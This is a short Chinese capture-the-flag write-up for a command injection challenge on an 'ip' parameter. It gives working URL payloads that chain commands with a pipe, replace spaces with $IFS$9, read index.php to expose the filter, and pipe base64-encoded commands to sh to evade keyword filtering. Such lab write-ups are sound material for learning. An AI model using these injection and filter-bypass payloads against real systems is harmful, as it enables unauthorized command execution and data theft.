1、启动环境,访问页面提示输入的参数为ip。
2、尝试拼接执行系统命令,发现不带空格可以正常执行,带空格的会被过滤掉。
/?ip=127.0.0.1|ls
linux系统可用$IFS代替空格
$IFS
${IFS}
$IFS$9
$IFS$1
/?ip=127.0.0.1|ls$IFS$9-l
3、继续尝试发现还存在其他过滤,只要输入数据带flag均会被识别拦截,绕过无果,先查看index.php可显示出过滤机制。
/?ip=127.0.0.1|cat$IFS$9index.php
4、分析发现转义符、bash、以及常见的字符均会被过滤。没有过滤sh,可以利用进行命令执行,尝试使用echo base64字符串| base64 –d | sh方式绕过。
5、成功执行cat flag.php。
/?ip=127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh